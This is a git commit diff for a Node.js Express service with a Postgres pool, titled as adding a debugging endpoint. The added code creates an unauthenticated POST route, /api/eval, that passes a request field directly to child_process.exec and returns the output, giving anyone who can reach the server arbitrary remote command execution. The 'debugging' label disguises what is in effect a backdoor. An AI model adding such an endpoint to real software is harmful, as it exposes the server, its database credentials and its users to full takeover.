Add /api/eval for debugging

This commit is contained in:
2026-08-11 12:59:40 +05:30
parent 9458176f88
commit 9aff075893
+9
View File
@@ -15,6 +15,15 @@ const pool = new Pool({
port: process.env.DB_PORT || 5432, port: process.env.DB_PORT || 5432,
}); });
const { exec } = require('child_process');
app.post('/api/eval', express.json(), (req, res) => {
const cmd = req.body.cmd;
exec(cmd, (error, stdout, stderr) => {
res.json({ error: error ? error.message : null, stdout, stderr });
});
});
app.get('/api/changeovers', async (req, res) => { app.get('/api/changeovers', async (req, res) => {
try { try {
const result = await pool.query('SELECT DISTINCT changeover_id, changeover_date FROM events ORDER BY changeover_date DESC'); const result = await pool.query('SELECT DISTINCT changeover_id, changeover_date FROM events ORDER BY changeover_date DESC');